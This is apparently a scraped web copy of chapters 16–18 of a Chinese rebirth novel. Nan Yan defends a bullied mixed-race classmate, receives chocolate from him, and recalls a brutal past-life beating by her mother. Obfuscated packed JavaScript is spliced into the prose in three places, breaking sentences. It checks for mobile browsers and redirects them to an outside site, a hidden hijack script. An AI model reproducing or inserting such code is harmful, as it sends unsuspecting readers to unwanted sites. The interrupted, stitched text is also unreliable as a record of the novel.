他纤细修长的手指,反复地抠弄着木质课桌边缘一道深刻的裂纹。 那是无数前任使用者留下的岁月痕迹,纵横交错,像一张写满了漠然与磨损的地图。 他把自己缩在那片小小的阴影里。 刘小萍像只灵巧的燕子,从人堆里钻过来,凑到南雁桌边,手里还攥着半块没吃完的麦芽糖。 她偷偷扯了扯南雁的袖子,有些孩子气的好奇与担忧道:“雁子,你咋让他坐这儿了?你看他那样儿,头发卷卷的,眼珠子黑得吓人,鼻子那么高……怪里怪气的,跟他们说的洋鬼子一个样……” 南雁收拾文具闻言,头也没抬:“空着也是空着。” 16. 解围 刘小萍张了张嘴,还想争辩。 她想说班里已经有人私下议论,要跟“跟洋鬼子坐一起”的南雁划清界限;想说她妈昨天晚饭时还特意叮嘱,眼神警惕,让她离那些“来历不明”的洋人远点,免得惹上是非。 可所有的话,在撞上南雁那双平静无波的眼睛时,都堵在了喉咙口。 那双眼睛总是这样,安安静静的,像两口深井,再大的风也吹不起多少涟漪,仿佛天塌下来,她也能慢条斯理地先找根柱子撑住。 刘小萍莫名地泄了气,把涌到嘴边的话又囫囵咽了回去,只含糊地嘟囔了一句:“反正……你自个儿小心点。大家都说……他跟咱们,不是一路人。” 南雁终于抬起眼,目光落在刘小萍略显焦躁的脸上,审慎道:“不是一路人,就不能做同桌了?” 刘小萍被问得一怔,嘴唇嗫嚅了几下,搜肠刮肚也想不出能站住脚的道理,只好搬出大人说的话:“我妈说的……矿上的人,都不待见洋人。你忘了咱矿上的老书记?以前跟洋人真刀真枪打过仗的,腿上的枪伤下雨天就疼……说洋人没安好心。” 南雁沉默下来,不再追问。 她懂刘小萍未尽的言外之意,也清楚这片矿区水面下涌动的暗流。 矿上的工人,大部分是部队转业下来,骨子里刻着烽火岁月的印记。 提起“洋人”,总带着历经战火洗礼后,近乎本能的戒备与疏离。 八国联军的烧杀抢掠,抗日战争的浴血奋战,抗美援朝的冰与火……历史的尘埃厚重地压在每一代人的记忆里,“非我族类,其心必异”这八个字,几乎是刻在矿区孩子启蒙认知里的铁律。 她看着旁边那个把自己缩成一团,连呼吸都放得很轻的谢承景,总觉得那不过是个和她一样,被命运抛到这里的半大孩子。 头发颜色浅些,眼睛轮廓深些,难道就活该被钉在耻辱柱上,承受这无端的敌意和排斥? 历史不可忘,孩子同样也是无辜的。 …… 后面几节课,时光在粉笔灰飘扬和课本翻动声中缓慢流逝。 谢承景像一座沉默的孤岛。 上课铃响时,他会第一时间拿出课本,脊背挺得笔直,眼神紧紧盯着黑板,笔记记得一丝不苟,字迹是工整的楷体,比班里大多数同学的字都好看。 老师提问时,他从不主动举手,哪怕被点名,回答问题也总是轻声细语。 下课铃一响,他要么坐在座位上看书,要么走到教室门口,靠着门框站着,看着其他孩子追逐打闹,黑眸子里带着点与年龄不符的疏离,还有一丝藏不住的羡慕。 南雁本身也不是热闹的性子,两人同桌,大部分时间井水不犯河水,各自守着一方安静的天地。 她做题时,会听见旁边传来轻轻的翻书声;她收拾文具时,会瞥见他把课本按科目放得整整齐齐。 只是偶尔,她会注意到一些细节:当有调皮的男孩故意从他身边跑过,假装没看见,撞到他的桌子,让铅笔盒掉在地上时,他会飞快地蹲下去捡,攥着铅笔盒的手微微颤抖,一句话没说。 当有人在背后学他说话的腔调,故意把“谢谢”说成怪里怪气的调子时,他会把嘴唇抿得更紧,耳根泛红,始终不回头。 那是强忍着的委屈和愤怒,把情绪憋在心里,不敢发泄,也无处发泄。 南雁懂这种感觉——小时候被人学走路时,她也是这样,把眼泪憋回去,假装没听见,假装不在意,可心里的委屈却像潮水似的,涨得难受。 下午的美术课,总算给这沉闷压抑的空间带来了一点鲜活的色彩。 老师在黑板上写下“我的家乡”四个粉笔字,拍了拍手上的灰:“都画自己最熟悉的地方!咱们矿区的井架、家里的红砖瓦房、门口的老树,啥都行!放开手画,不怕画坏!” 孩子们立刻兴奋起来,教室里响起一片蜡笔与画纸摩擦的声响。 有的孩子画矿区高高的井架,用黑色蜡笔涂出矿堆,红色蜡笔点出信号灯,虽然线条简单,却满是生活的热气;有的孩子画家里的小院,院里有鸡窝,有晾衣绳,还有坐在门口纳鞋底的妈妈,画得热闹又温馨。 南雁低头,刚用铅笔勾勒出家门口那棵老槐树的轮廓,就听见身后传来一声嚷嚷:“哎!你们快来看谢承景画的啥!跟咱们这儿根本不一样!净画些稀奇古怪的!” 又是张强。 他坐在谢承景后面,上课时就不安分,曾偷偷伸手去扯谢承景那头过于柔软,略显女气的卷发。 谢承景刚转来,头发比一般男孩留得稍长,皮肤又白,便成了张强一伙人嘴里戏谑的“小丫头片子”、“假洋婆子”。 几个好事的男孩立刻呼啦一下围了过去,伸着脖子看那张画纸,随即爆发出毫不掩饰的恶意哄笑: “哈哈哈这是什么房子?顶是尖的!还带着花花绿绿的玻璃窗!跟咱矿区边上那个破教堂一个德行!” “还有这花!咱们这土坡上除了狗尾巴草就是灰灰菜,哪来这种蓝不蓝、紫不紫的圆球花?瞎编乱造!” 谢承景的脸“唰”地一下红透了,血色迅速从脖颈蔓延到耳尖,像被滚烫的开水泼过。 他伸出手,想将那张画纸藏起来,慌乱间手腕重重磕在坚硬的桌角,疼得他眼眶一红,手里的铅笔也“啪嗒”一声滚落在地。 那双深邃的黑眼睛里,瞬间涌满了无地自容的窘迫和被粗暴侵犯后燃起的怒火。 画纸上的房子是他在莫斯科的家,院子里,爸爸为喜欢绣球花的妈妈,费尽心思种下的一大片花圃,淡蓝与淡紫的花球在阳光下簇拥着;彩色的玻璃窗上的花纹是妈妈亲手贴的,就连窗台上的花盆里,都种着妈妈最爱吃的香菜。 那是他回不去的故乡,是他在异国他乡黑夜里唯一的光亮。 此刻,却成了这群人眼中荒唐可笑的“稀奇古怪”。 “画得挺好的。”一个平静的声音,像一道清冽的溪流,骤然切断了这片令人窒息的哄闹。 南雁放下手里的蜡笔,站起身,走到谢承景桌边,低头仔细看了看那幅画——构图严谨,线条流畅,色彩搭配和谐,尤其是那片绣球花,用淡蓝和淡紫色层层叠染,竟显出了几分水彩画才有的层次感,细节生动得仿佛能闻到花香。 看得出,是倾注了感情和心思的。 “比某些人画的,连门都忘了开的火柴棍房子,像样多了。”她补充了一句,目光不轻不重地掠过脸色瞬间难看起来的张强。 张强那张画,房子歪歪扭扭,窗户是几个呆板的方框,最离谱的是,确实忘了画门。 张强被当众戳到痛处,脸一下子涨成了猪肝色,攥着蜡笔的手猛地收紧,他想跳起来反驳,可对上南雁那双平静得近乎淡漠的眼睛,他又蔫了。 张强悻悻地踢了一脚桌腿,色厉内荏地嚷嚷:“谁、谁要跟你争这个!” 其他围观的孩子见带头闹事的偃旗息鼓,也失了兴致,互相推搡着,讪讪地散开了。 谢承景有些愕然地抬起头,看向南雁。卷曲的睫毛上似乎还沾着一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼角余光里,谢承景依旧低着头,手指在画纸边缘捏来捏去,像是还没从刚才的起哄里缓过来。 她垂眸看了看自己笔下已初具形态的老槐树,忽然伸手,将画纸往谢承景那边轻轻推过去几分,声音平和:“你看,这就是我家门口那棵槐树。夏天会开一串串白色的小花,味道很香。用它酿的槐花蜜,特别清甜。等来年春天开花,我带一罐给你尝尝。” 谢承景倏地抬起头,眼神里还带着些许未散尽的茫然和戒备。 他看了看南雁画上那棵枝繁叶茂、充满生命力的老树,又低头看了看自己画中那座精致却遥远的异国阁楼,犹豫了一下,小声说:“你的树……画得很有力量。我家……以前院子里,也有一棵树,是苹果树。到了秋天,会结很多红色的果子。” “苹果树?”南雁的眼睛微微亮了一下,像是想起了什么美好的回忆,“是那种红彤彤的,挂在树上像一个个小灯笼的吗?” 谢承景点了点头,嘴角微微向上弯了一下:“嗯。妈妈……会摘下来,烤苹果派。放很多黄油和肉桂粉,烤的时候,整个房子都是香的。” 提及母亲,他眼底那层冰封的疏离融化了些许,流露出一点怀念的柔软光晕。 “那一定很好吃。”南雁也笑了起来,语气里带着真诚的向往,“我会用槐花和上面粉、糖,烙槐花饼,吃起来也是甜甜的,有花香。到时候,我做了也分给你。” 两人就这么你一言我一句地聊起来,从家门口的树,聊到家里的饭菜,聊到小时候玩的游戏。 谢承景说起在莫斯科的冬天,会和邻居家的孩子在家门前的雪地里堆巨大的雪人,用胡萝卜做鼻子,旧纽扣做眼睛,还会偷偷把爷爷的旧帽子扣在雪人头上。 南雁则告诉他,她和刘小萍夏天会在老槐树的浓荫下跳皮筋,玩跳房子,刘小萍总是耍赖,踩错了线也要梗着脖子不承认,非得她拿出证据才罢休。 17. 巧克力 下午五点半,矿区中学的预备铃已经响过三轮,南雁才抱着数学练习册,从教师办公楼里退出来。 窗玻璃蒙着一层薄灰,把傍晚的天色滤得更暗,她低头拍了拍练习册上的粉笔灰。 走廊里的白炽灯忽明忽暗,照得墙上“备战高考”的标语忽深忽浅。 她把练习册塞进略显空荡的书包,拉链卡顿了一下。 身后,李老师的声音追了出来,“刚才那道解析几何,记住辅助线从焦点往准线作垂线,是最短路径。下次……别再绕远路了。” 南雁脚步顿了顿,回头应了一声,声音里带着点没散尽的怯懦。 这怯懦像一层黏腻的旧茧,包裹着她。 前世,她就是在这样细碎而无处不在的叮嘱与审视里,模糊了自身的形状,像个影子般活着,直到被卷入那些身不由己的漩涡,撞得头破血流,才恍然惊觉,当年的畏缩里,藏着多少对命运不切实际的侥幸与幻想。 走出教学楼,冷风裹着砂砾扑面而来,南雁下意识地缩了缩脖子。 校门口那棵老槐树,早已在秋风中褪尽了最后一片叶子,光秃秃的黑色枝桠狰狞地伸向灰蒙蒙的天空,像无数嶙峋的枯骨之手。 树下站着个人,浅灰色小西装被风吹得贴身上,里面那件白衬衫的领口敞开两颗扣子,露出一点突兀的锁骨。 是谢承景。 他没有动,只是静静地望着河对岸那片矿区家属区。 目光越过浑浊的河水,落在几栋鹤立鸡群般的白色筒子楼上——那是矿上分配给工程师、技术人员的住所,与河这边矿工们聚居的低矮红砖房遥遥相对,泾渭分明。 南雁的脚步顿了顿,心里隐约明白了什么。 这片矿区,本身就是个等级森严的小社会。 住在哪里,几乎就标定了身份与阶层。 矿工的红砖房,干部的筒子楼。而谢承景,这个顶着异域面孔,身份暧昧的少年,恐怕即使身在象征“高级”的筒子楼里,也依然是个无法融入的“异类”。 那些来自天南海北的工程师和他们的家眷,看他的眼神,未必就比河这边质朴而排外的矿工们友善多少。 “还不回家?”她走过去,声音比平时稍大了些,怕被风声盖过。 谢承景似乎被吓了一跳,猛地转过身,看到是她,紧绷的肩膀稍微放松了些,只是眼神还有点紧张:“……就回。” 他说着,目光又不受控制地飘向筒子楼的方向,那眼神复杂,像是在确认归途,又像是在畏惧某种即将面对的氛围,带着犹豫不决的滞重。 南雁顺着他的视线望了一眼,对岸楼房里零星亮起的灯火,在暮色中显得遥远而隔膜。 她收回目光,几乎是脱口而出:“一起走吧?” 话一出口,她就后悔了。舌尖仿佛尝到一点铁锈般的苦涩。 上一世,她就是栽在这多余的好心上。帮了不该帮的人,管了不该管的闲事,最后落得个里外不是人,在流言蜚语和冷漠排斥中耗尽了所有气力。 怎么重活一次,这爱管闲事的毛病,还是改不掉? 谢承景惊讶地睁大了眼睛,那双纯黑色的眸子在暮色中显得格外清亮,映着远处矿区零星闪烁的灯火,竟像是落入了细碎的星光。 他迟疑着,目光在南雁平静的脸上停留了片刻,然后,幅度很小,很郑重地点了点头:“好。” 两人沉默地并肩走在矿区坑洼不平的土路上,中间隔着约莫半臂的距离,不远不近,是一个既不会显得疏远,又不会令人不安的安全界限。 路两旁是密密麻麻的低矮红砖房,昏黄的灯光从窗户里透出来,映着墙上“安全生产”的标语。 南雁走得很慢,因为左腿的不足,平日里,除了与大大咧咧的刘小萍同行外,其余时间,她总是习惯性地落在人群最后,尽可能减少被注视的可能。 但今天,她察觉到,身边的谢承景似乎也刻意放缓了脚步。 两人的脚步声在呼啸的风中交织在一起,一轻一重,一缓一滞,竟意外地形成了一种古怪而脆弱的默契。 风刮得更紧了,卷起地上的尘土,打在裤腿上,发出细密而恼人的声响。 “你成绩真好。”谢承景突然开口,声音被风吹得有些飘忽,他没有看南雁,目光落在那些标语上,“李老师上课……总夸你解题思路清晰。” “也没什么,”南雁目视前方,声音平淡,“就是做题多了,熟能生巧。” 谢承景沉默下来,但南雁感觉到了他的目光落在自己左腿上。 前世因这条腿而遭受的无数白眼、嘲讽,家人那句“累赘”、“扫把星”的责骂,瞬间翻涌上来。 她下意识地加快了脚步,试图摆脱那目光的追随。 书包里的铁皮铅笔盒随着动作哗啦啦作响,像是在为她仓促的逃离伴奏。 快到那个通往红砖房区域的岔路口时,谢承景却突然停下了脚步。 他转过身,面向南雁,动作有些突兀。然后,他从西装内侧的口袋里,小心翼翼地掏出一个东西,递到她面前。 那是一小盒包装极其精美的进口巧克力。 深色的包装纸上印着烫金的异国文字,蓝色的丝绸缎带系成一个精致的蝴蝶结,只是此刻那缎带已经有些皱巴巴,失去了最初挺括的模样,像是被主人反复摩挲、犹豫了很久。 他很认真地看着南雁,那双总是带着几分躲闪与疏离的黑眸子里,此刻盛满了毫无杂质的真诚:“谢谢你,南雁同学。” 他的耳根以肉眼可见的速度漫上绯红,又急忙补充道:“这个……给你。是我从……从国外带来的。很甜,一点也不苦。” 南雁看着他的眼睛。 那双漂亮得有些过分的眼睛,眼尾天然带着微挑的弧度,此刻却因为这份过于郑重的感激而显得格外温软。 她淡淡地“嗯”了一声,指了指左边那条更窄的路,那里的路灯早就坏了,黑黢黢的像条蛇:“我往这边走。” 她接过那盒巧克力,盒子在手心里硌得慌,“再见。” “再见。” 南雁转身,左腿微跛,一步一步,坚定地迈向那片熟悉的黑暗。 她没回头,却能感觉到身后的目光,一直落在她的背影上,像一点温暖的星光,照亮了这条寒冷的小路。 谢承景站在原地,直到南雁那单薄而倔强的背影彻底被拐角的阴影吞没,才缓缓转过身,面向河对岸那片灯火相对稠密的筒子楼。 冷风依旧不知疲倦地刮着,卷起他额前柔软的棕色卷发。 他抬手摸了摸胸口,那里似乎不像刚才出来时那样,空落落得发慌了。 他把手揣进空空如也的西装口袋,想起刚才南雁接过巧克力时,不小心碰到他的手,有点凉,但莫名地,让他想起了很久以前,在莫斯科的雪夜里,妈妈牵着他的手过马路时,掌心传来的温度。 …… 谢承景刚推开外婆家的铁门,一股强劲的西北风便寻隙钻入,呛得他喉咙发痒。 他下意识地缩紧脖子,冻得发僵的指尖刚触到门框,一股暖融融的气息就裹着饭菜香涌出来,像一双温热的手,瞬间揉散了他身上的寒气。 “小景回来啦?”厨房方向传来熟悉的声音,外婆围着那条淡蓝色碎花围裙,正端着个搪瓷盘往客厅走,盘里码着刚蒸好的馒头,热气在她鬓角的白发上凝了层薄霜,“今天在学校怎么样?新同桌好不好相处?有没有同学跟你一起吃饭啊?” 老人家连珠炮似的问话里裹着藏不住的牵挂。 客厅里,外公坐在一个小马扎上,就着窗外最后一点天光,戴着老花镜,慢条斯理地择着韭菜。 闻言,他抬起头,镜片后的眼睛眯成两条慈祥的细缝,乐呵呵地接话:“咱们小景长得这么俊,脾气又好,肯定招同学喜欢。” 谢承景放下书包,刚要开口,脑子里却突然晃过南雁的模样。 她接过巧克力时指尖的轻颤,那双像结了薄冰的湖水似的眼睛,还有她转身离开时,左腿微微跛着,在雪地上踩出的浅痕。 嘴角像是被什么东西勾了一下,悄悄往上扬了扬,又被他飞快地压下去,只含糊地应了句:“挺好的,数学课代表帮我讲了道题。” 这话不假,却省略了整整一天的孤独。 早餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好,都好。”外公突然接过话头,声音洪亮得有些异样,他把择好的韭菜拢到一边,又拿起一根,动作刻意放慢,“你爸爸那病啊,那边的医生说控制得挺好,好多了!等再稳定稳定,情况再好点,肯定就来接你回去。你现在啊,就安心在这儿念书,别胡思乱想,啊?” 谢承景顺从地点了点头,没有再追问。 他早已习惯了从大人话语的缝隙里,拼凑真相的碎片——如果父亲的病情真的那么轻描淡写,当初何必如此仓促地将他送回万里之外的外婆家? 如果团聚真的近在眼前,母亲这封字字斟酌的电报里,为何对归期只字不提,只有一句干巴巴的“勿念”? 但他什么也没有说。 只是默默地将电报纸按照原来的折痕,重新叠好放回五斗柜上。 “我去写作业了。”他拎起书包,转身走向那个属于他的小房间。 房间很小,只容得下一张旧书桌和一张窄窄的单人床。 墙上贴着几张他幼时画的蜡笔画,色彩已经黯淡,边角也卷曲发黄。 在他轻轻带上房门的瞬间,隔绝了客厅光线的同时,也捕捉到了外婆压得极低的声音,像一缕游丝飘进耳膜:“……这孩子,今天好像……有点不一样……” 是不一样了。 谢承景将后背抵在冰凉的门板上,疲惫地闭上了眼睛。 胸腔里那股对父母蚀骨的思念,如同汹涌的潮水,几乎要决堤而出。 他想念妈妈煮的热汤,想念爸爸用那双宽厚温暖的手掌将他高高举过头顶。 可是,这些滚烫的念头刚刚升起,就被另一个更冰冷、更沉重的声音强行压了下去—— 不能想。 不能成为他们的累赘。 不能让他们在远方,还要为自己担心。 记得离开家之前,妈妈红着眼眶,摸着他的头说,菩萨会保佑爸爸平安;而送他来外婆家的亲叔叔,也在机场蹲下身,用生硬的中文对他说,上帝,会眷顾所有善良的孩子。 他想,有两个国度的神明一起保佑,爸爸的病,一定能好起来的。 一定。 等到那一天,他们就能一家团聚,再也不分开了。 18. 终身难忘的记忆 谢承景在书桌前不知枯坐了多久,数学练习册摊开着,钢笔捏在指间,墨水早已在笔尖凝滞。 他的目光穿不透浓稠的矿区夜色,只能落在窗外零星闪烁的灯火上。 哪一盏灯是南雁的家?她尝了那盒巧克力吗?那甜中带着微妙苦意的味道,她会喜欢,还是嫌弃? 门锁极轻地响了一声,外婆端着一杯热牛奶走进来,杯壁上凝结着细密的水珠,蜿蜒滑下。 “别太耗神,先喝点热的,暖暖肠胃。”老人家把杯子放在桌角,目光在摊开的数学练习册上短暂停留,又飞快移开,“要是有解不开的难题,就去问你外公。他早年教过中学,数学底子还在,能说道说道。” 谢承景低低地“嗯”了一声,端起牛奶喝了一口,温热的液体滑过喉咙,暖到了心里。 他看着外婆转身离去时微驼的背影,忽然,中午南雁身上那件旧棉袄的模样,毫无预兆地撞进脑海。 视线回落,他看见自己手边那个皮质柔软,款式新颖的书包,是爸爸在他离开前特意买的;身上这件剪裁合体的小西装,也是崭新的。 心脏像是被一根看不见的细针,猝不及防地刺了一下。不剧烈,却带着绵长而清晰的钝痛。 他放下牛奶杯,拿起一支铅笔,笔尖悬在练习册空白的边角,犹豫着,然后落下。 寥寥数笔,一个方方正正的小巧巧克力便跃然纸上。 他从小跟着当画家的叔叔学画画,这种小物件画起来得心应手——金闪闪的包装纸,边角折出的细纹,连上面印的小字都画得清清楚楚。 画完,他又用橡皮轻轻蹭了蹭,生怕线条太粗,毁了这小小的念想。 窗外的北风还在不知疲倦地呼啸,发出呜咽般的声响。 但屋子里很暖和,炉火的余温和新酿的米酒香气在空气里静静流淌,牛奶的甜香依旧萦绕在鼻端。 谢承景重新握紧钢笔,强迫自己将注意力拉回到那些复杂的数学符号上。 然而,南雁的影子总是不期而至。 她现在在做什么? 是在帮家里干活,还是在看书?她的腿,到底是怎么回事呢?是不是小时候摔了,没治好才留下的毛病? 这些念头像一群不知疲倦的蚂蚁,在他心房的缝隙里窸窣爬行,啃噬着他好不容易聚集起来的专注力。 他泄气地停下笔,将额头抵在冰凉的木质窗框上,目光涣散地投向窗外那片沉沉的灯火之海。 时间在寂静中流逝。 他听见外公在客厅里咳嗽,外婆在给他找药,还有远处传来的火车鸣笛声,穿透夜雾,悠悠传来。 忽然间,他觉得这矿区的冬夜,似乎也不那么难以忍受了。 至少还有外婆的红烧肉,外公的韭菜馅饺子,还有那盒被南雁收下的巧克力,像一点微光,照亮了他心里的孤独。 “哒。” 一声极轻微的响动从书桌抽屉里传来。他拉开抽屉,是早上他放进去的那盒巧克力。 盒盖大概没扣严实,被不知从何处钻进来的风一吹,轻轻晃动了一下。 他取出盒子,打开。 里面静静地躺着最后一块巧克力,金色的糖纸在台灯下反射着一点寂寥的光。 一个念头毫无征兆地破土而出—— 明天,他要早点去学校。在校门口那棵老槐树下等她。 他想问她,巧克力好不好吃。他想把这最后一块也给她。他还想告诉她,其实……他也一样孤独,他也渴望能有一个,可以不必伪装、坦然说话的……朋友。 谢承景把巧克力放回盒子里,小心地收进抽屉深处,然后拿起钢笔,重新低下头,认真地做起了数学题。 …… 南雁将那个带着体温的巧克力盒子紧紧捂在怀里,借着去院角鸡窝添食的由头,脚步一拐,闪身钻进了旁边的柴房。 柴房的门轴锈蚀得厉害,推开时发出一声刺耳的长音,在寂静的傍晚里显得格外惊心。 南雁手一抖,连忙用力按住颤动的门板,屏住呼吸,侧耳倾听。 正屋里没有传来包兰芝夹枪带棒的骂声,只有南玉尖着嗓子吵闹的背景音。 她这才松了口气,像一尾滑溜的鱼,迅速挤进门缝,反手将门锁上。 柴房里堆满了劈好的柴火,松木混杂着些不知名的硬杂木,散发出干燥的松针和潮湿泥土混合的气息。 南雁凭着记忆,在昏暗的光线中摸索到墙角,手指触到一块略显松动的砖头。 她小心地将它撬开,露出里面一个不大的空洞——这是她前几天偷偷为自己准备的藏匿处。 她从怀里掏出那个依旧带着她体温的巧克力盒子,解开已经有些褶皱的蓝色丝带,打开盒盖。 裹着巧克力的金色锡纸在昏暗中折射出细碎、微弱的光芒,像不小心洒落的一把碎星子。 她拿起一颗,指尖灵巧地剥开精致的包装。深褐色的巧克力块安静地躺在掌心,比拇指指甲盖大不了多少,散发着浓郁的香气。 是可可特有的醇厚,似乎还隐隐缠绕着一丝难以辨明的果香,勾得人舌尖不由自主地泛起津液。 她飞快地瞥了一眼紧闭的柴房门,确认安全,才将那颗巧克力放入口中。 丝滑的质感瞬间在舌尖融化、铺开,甜意如同初春解冻的溪流,裹挟着那股陌生的香气,迅速弥漫至整个口腔。 这甜并不腻人,反而有些清冽,像春日的初雪落在舌面上,清爽宜人。 直到那甜蜜的浪潮渐渐退去,舌根才悄然泛起一丝极隐晦的微苦。 不像中药的霸道,倒像是熬过漫长寒冬后,从冻土中钻出的嫩芽,带着一股清醒、倔强的余韵。 这味道熟悉又陌生。 她恍惚记起,她的女儿小安也极爱这种叫巧克力的东西。 她曾好奇尝过一次,那时只觉得满口苦涩,比最涩的黄连汤还难以下咽,她怎么也想不明白,小安为何会痴迷于这种“苦东西”。 现在想来,这苦能有她的人生苦? 待口中最后一点味道也消散殆尽,南雁才又伸出手,剥开了第二颗。 忽然,谢承景那张脸在她眼前晃了晃,他笑起来眉眼弯弯,递巧克力时说“一点也不苦”的语气,真诚得让人心头发软。 她不由得无声笑了起来,又迅速恢复平静。 因为,一个冰冷的事实,如同潜藏的暗礁,浮出记忆的水面—— 前世的这个冬天,矿中学里,从未出现过什么混血的转学生。 那时的她,像一头被生活驱赶的疲惫骡子,忙着给人浆洗缝补换取微薄的粮票,忙着躲避包兰芝毫无缘由的打骂,忙着在零下十几度的深夜,踩着冻僵的双脚去几百米外的公共水管排队接水…… 她连学校公告栏上贴了什么都无暇细看,更从未听说过“谢承景”这个名字。 这个人,像是从石头缝里,凭空蹦出来的。 “蹬蹬蹬!” 柴房外忽然传来急促的脚步声,夹杂着南玉尖锐的哭闹:“妈——!我要吃烤红薯!南春他抢我的红薯!” 包兰芝不耐烦的呵斥紧随其后:“嚎什么丧!找你大姐去!” “鬼晓得她死到哪里野去了!” “那就别吃了!再闹,老娘把你们两个小崽子一起塞鸡窝里跟瘟鸡作伴!” 南雁浑身肌肉瞬间绷紧。 她手忙脚乱地将巧克力盒子盖好,塞回墙角的砖缝深处,又飞快地用几块碎砖和柴屑仔细掩盖好,确保不露丝毫痕迹。 做完这一切,她拍了拍沾上灰尘的手,面色如常地拉开了柴房的门。 “躲里面孵蛋呢?!磨磨蹭蹭!”包兰芝拎着一颗冻得硬邦邦的白菜,见她出来,眼睛一瞪,“你爸和你哥今晚下井,要带干粮,还不赶紧滚去和面!等着老娘请你?” 南雁垂下眼睑,低低应了一声“这就去”,走到院子角落的水缸边,拿起飘舀水。 冰冷刺骨的水浇在手上,激得皮肤一阵紧缩,没能压下手上残留的甜香。 那甜香好像渗进了皮肤里,随着血液循环,暖意涌遍全身。 她鬼使神差地,将湿漉漉的手凑到鼻尖嗅了一下,眼眶毫无预兆地泛起一阵酸热。 “大姐!”南玉像颗出膛的炮弹,蹦跳着凑到她身边,小狗似的翕动着鼻子,眼睛滴溜溜地转,“你身上啥味儿?甜甜的?你是不是偷藏糖吃了?” 南雁心里猛地一沉,面上却不动声色,顺手将湿手衣服上擦了擦,没好气地白了南玉一眼:“你以为谁都跟你似的,馋虫投胎?刘小萍谢我教她写作业,给了块水果糖。” “还有吗?”南玉死死拽住她的衣角,用力摇晃,“给我!给我吃!” “没了,就一块。”南雁用力挣开她黏腻的手,转身朝黑黢黢的厨房走去。 两辈子了,南玉这块甩不脱的狗皮膏药,还是这般德行,嗅到一点甜腥就死死黏上来,不吸干最后一滴养分决不罢休。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560571|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她打开面粉袋,用粗瓷碗舀了几碗泛黄的黑面粉倒入和面盆。 看着那粗糙的粉末,一段被她刻意尘封,属于前世带着血腥和屈辱的记忆,如同挣脱了枷锁的猛兽,咆哮着冲垮堤坝,瞬间将她吞没—— 前世的南玉,长大后比少女时期更加难缠,也更加势利。 国家刚改革开放那阵,南玉跑去沿海滨城晃荡了不到半年,回来时便像是彻底换了层皮。 手腕上戴着亮得刺眼的金表,嘴里嚼着据说“比水果糖贵十倍”的进口巧克力,言谈间充斥着对“土包子”的不屑,炫耀自己钓到了一个“港商”,以后是要住带花园的“别墅”的。 包兰芝更是逢人便吹,唾沫横飞,仿佛自家四女儿已然一步登天。 那天,南雁刚从嘈杂混乱的街道招待所下班,拖着灌铅般沉重的双腿回到那个令人窒息的“家”,还没喘口气,就被南玉堵在了逼仄的房间里。 南玉涂着红色指甲油的食指,几乎戳到她鼻子上,另一只手里捏着几张,从她垃圾篓里翻出来的糖纸,骂道:“你偷我糖吃!我就说我那盒进口巧克力怎么少了好几块!原来是你这个家贼!手脚不干净的东西!” 她没偷。 那些糖纸,是已经退休的李老师给的。 李老师是她灰暗前世里,为数不多给过她些许温暖的人。 老人家住在城郊,她女儿来看她时带了一包糖,李老师顺手抓了一把,硬塞给了当时面黄肌瘦的她。 她极力解释。 可南玉哪里肯听? 她仗着那个八字还没一撇的“港商男友”,气势汹汹,一屁股坐在地上,蹬腿撒泼,哭闹声能掀翻屋顶,活脱脱一个市井泼妇,口口声声:“就你这穷酸样,饭都吃不饱,怎么可能有这种糖?不是偷我的,是哪里来的?” 包兰芝闻声冲进来,三角眼里淬着寒光,根本不问青红皂白,顺手抄起门后那根南秉义特意用老竹根做的,浸过油的藤条,没头没脑地就朝她抽下来! “我叫你贱!叫你手贱!敢偷你妹的东西!老娘怎么就生出你这么个下贱胚子!” 藤条带着风声,抽在单薄的衣衫上,留下火辣辣的疼痛,瞬间钻心刻骨。 她咬着后槽牙,蜷缩起身体,一遍遍地解释,声音淹没在南玉夸张的哭嚎和包兰芝恶毒的咒骂里。 包兰芝根本充耳不闻,只顾护着坐在地上干打雷不下雨的南玉,咆哮道:“给你妹妹跪下!道歉!不然就给老子滚出这个家!” 她不跪。 凭什么?她没偷,凭什么要认下这莫须有的罪名? 她的倔强,如同往油锅里泼了一瓢冷水,瞬间引爆了包兰芝所有的暴戾。 “还敢犟嘴!”包兰芝扔下藤条,转身从灶膛里抽出一根还带着火星的烧火棍,没轻没重地朝她胳膊、后背狠狠打下来! 她疼得缩成一团,像一只被扔进沸水里的虾米。 耳边是南玉毫不掩饰的阴冷嗤笑,是包兰芝不绝于耳的咒骂:“养你不如养条看门狗!狗还知道摇尾巴!” 最后,包兰芝打累了,喘着粗气,一脚踩在她的头上,鞋底带着泥污,狠狠将她的头碾在冰冷粗糙的水泥地上:“贱种!道不道歉?不道歉,老子今天就打死你!省得丢人现眼!老子供你吃供你穿,你就这么报答老子的?啊?老子教你偷鸡摸狗了?现在敢偷家里的,往后就敢去偷外头的!老娘的脸都被你丢尽了!我怎么就生了你这个畜生!” 包兰芝骂得声嘶力竭,随后像拖一条死狗一样,揪着她的头发,将她一路拖行到大门外。 “滚!给老子滚得远远的!就当老娘从来没生过你这个讨债鬼!” 门外,是漫天呼啸的鹅毛大雪,寒风像无数把冰冷的锉刀,刮在脸上,瞬间带走所有温度。 她被重重掼在冰冷的雪地里,身后的门在她眼前狠狠关上,震落了门楣上的积雪。 任凭她如何用冻僵的手拍打门板,如何从嘶哑的喉咙里挤出“妈……我冷……开门……”,那扇门后,只有死一般的寂静。 雪,越下越大,如同白色的裹尸布,一层层覆盖上来,渐渐淹没了她的手脚,她的身体。 